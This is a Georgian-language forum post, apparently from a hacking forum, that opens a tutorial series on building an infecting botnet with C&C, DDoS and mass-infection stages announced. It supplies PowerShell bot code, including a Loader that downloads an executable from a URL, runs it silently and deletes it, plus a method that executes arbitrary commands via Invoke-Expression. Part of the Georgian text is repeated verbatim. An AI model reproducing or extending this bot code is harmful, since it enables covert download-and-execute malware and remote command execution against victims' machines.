მოგესალმებით , ეს არის საპილოტე სტატია BOTNET-ებზე
ამ სტატიაში თქვენ ისწავლით ბოტნეტის შექმნას რომელსაც ექნება მანქანების ინფიცირების თვისება.
ჩვენი botnet-ის გასაშვებად პირველ ეტაპზე საჭირო იქნება ბრძანებების .txt ფაილში შენახვა .
პირველი ნაწილი :
• ჩვენი ბოტის კარკასი
• საწყისი ფუნქციების დამატება: Loader ფაილები, ბრძანებების გამოძახება
• Pars ამოცანები ბოტებისთის და მათი გახორციელება
თავად სტატია რამდენიმე ნაწილად იყოფა
1. ბოტის პრინციპები და საფუძველი,C&C სერვერი და მათი შესრულება.
2. ფუნქციური გაფართოება. DDOS მეთოდების დამატება.
3. ბოტნეტის პანელის დამატება.
4. Malware-ის მიწოდების მეთოდები. მარტივი ტქენიკა / მასობრივი იმფიცირება
დასაწყისისთვის ვამატებთ .ps1 ფაილს ნებისმიერი სახელით. ვრთავთ windows powershell-ს , და ვირჩევთ ჩვენს შექმნილ ფაილს (Ctrl+o).
ახლა ვამატებთ : System.IO - რათა იმუშაოს პაპკებთან და ფაილებთან, System.Regex - კონფიგურაციის გასაპარსად, System.diagnostic - პროცესების გასაშვებად და System.net - ქსელში სამუშაოდ.
ახლა კი დავამატოთ 2 დამხმარე ფუნქცია: randomString - რომელსაც გამოაქვს რენდომლი სიმბოლოები, JsonRegex
ახლა დროა დავამატოთ საბაზისო მოდულები. კლასი „modules“
ვამატებთ ბოტის პირველ მეთოდს - Loader. „modules“ კლასსში ვამატებთ ახალ მეთოდს სახელად „Loader“. რომელიც აიღებს ორ არგუმენტს : URL & selfDelete
ვამატებთ ახალ მეთოდს რომელიც დააინვოკებს powershell კომანდებს : invokeCommand
როგორც სტატიის დასაწყისში ვთქვი, პირველ ეტაპზე ჩვენ ვიცავთ ბრძანებებს txt ფაილში, ასე რომ, ჩვენ ვქმნით ახალ ტექსტურ ყუთს და დავამატებთ შემდეგს:
ახლა კი ვამატებთ ახალ კლასს სახელად „MainClass“.
დავამატოთ ახალი მეთოდი სახელად „Main“.რომელიც იქნება მთავარი და ვამატებთ 2 ამოცანას Regex: loaderReg და PsCommand.
ახლა კი ვატარებთ მარტივ შემოწმებას.
ამასობაში პარსვა დამთავრდა . ტექსტ ფაილში ვამატებთ მარტივ კომანდს.
ვინახავთ ფაილს,ბოტის კოდში ვიძახებთ მთავარ მეთოდს ([MainClass]::Main()) და ვუშვებთ სკრიპტს
ამ სტატიაში თქვენ ისწავლით ბოტნეტის შექმნას რომელსაც ექნება მანქანების ინფიცირების თვისება.
ჩვენი botnet-ის გასაშვებად პირველ ეტაპზე საჭირო იქნება ბრძანებების .txt ფაილში შენახვა .
პირველი ნაწილი :
• ჩვენი ბოტის კარკასი
• საწყისი ფუნქციების დამატება: Loader ფაილები, ბრძანებების გამოძახება
• Pars ამოცანები ბოტებისთის და მათი გახორციელება
თავად სტატია რამდენიმე ნაწილად იყოფა
1. ბოტის პრინციპები და საფუძველი,C&C სერვერი და მათი შესრულება.
2. ფუნქციური გაფართოება. DDOS მეთოდების დამატება.
3. ბოტნეტის პანელის დამატება.
4. Malware-ის მიწოდების მეთოდები. მარტივი ტქენიკა / მასობრივი იმფიცირება
დასაწყისისთვის ვამატებთ .ps1 ფაილს ნებისმიერი სახელით. ვრთავთ windows powershell-ს , და ვირჩევთ ჩვენს შექმნილ ფაილს (Ctrl+o).
ახლა ვამატებთ : System.IO - რათა იმუშაოს პაპკებთან და ფაილებთან, System.Regex - კონფიგურაციის გასაპარსად, System.diagnostic - პროცესების გასაშვებად და System.net - ქსელში სამუშაოდ.
Code:
using namespace System.IO
using namespace System.Regex
using namespace System.Diagnostics
using namespace System.Net
Code:
function randomString()
{
return $(-join ((48..57) + (97..122) | Get-Random -Count 32 | % {[char]$_}))
}
function jsonRegex($tag1, $tag2)
{
return "(?<=$tag1)(.*)(?=$tag2)"
}
Code:
Class Modules
{
# Modules Here
}
Code:
static Loader([string]$url, [bool]$selfDelete)
{
try
{
$output = "$([Path]::GetTempPath())$(randomString).exe" # Output path with random file name
# Write-Host $output
$wc = [WebClient]::new() # new class object
$wc.DownloadFile($url, $output) # File load
[Process]::Start($output) # Run file
if($selfDelete)
{
[File]::Delete($output); # Remove output file
}
}
catch{}
}
Code:
static invokeCommand([string]$command2invoke)
{
try{
Invoke-Expression($command2invoke)
}
catch{}
}
Code:
<ps>Write-Host "Method Invoked!"</ps>
Code:
Class MainClass
{
static [string]$content = [File]::ReadAllText("C:\Users\%USERNAME%\Desktop\content.txt"); # Path to .txt file
}
Code:
static Main()
{
[Regex]$loaderReg = [Regex]::new($(jsonRegex -tag1 "<loader>" -tag2 "</loader>"))
[Regex]$psCommand = [Regex]::new($(jsonRegex -tag1 "<ps>" -tag2 "</ps>"))
}
Code:
if($loaderReg.IsMatch([MainClass]::content))
{
[string]$url = $loaderReg.Match([MainClass]::content)
[Modules]::Loader($url, $true)
}
if($psCommand.IsMatch([MainClass]::content))
{
[string]$command = $psCommand.Match([MainClass]::content)
[Modules]::invokeCommand($command)
}
Code:
<ps>Write-Host "Method Succes Invoked!"</ps>
Last edited by a moderator:
Likes:
GoGu and G30RG14N